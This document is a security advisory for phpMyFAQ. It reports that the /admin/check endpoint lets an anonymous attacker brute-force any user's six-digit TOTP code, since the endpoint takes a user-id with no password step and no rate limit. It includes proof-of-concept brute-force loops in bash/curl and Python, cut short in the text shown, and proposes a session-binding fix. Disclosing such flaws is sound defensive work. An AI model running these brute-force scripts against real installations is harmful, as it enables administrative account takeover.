Description

phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);...
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Problems:

No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.

No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.

Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1

# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \...
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# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER_ID = 1

def try_code(code):...
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Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this->session->get('2fa_pending_user_id') !== $userId) {
        return new RedirectResponse(url: './login');...
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And in authenticate(), after successful password check:

$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());

Found by aisafe.io

Mitigation

Aliases

References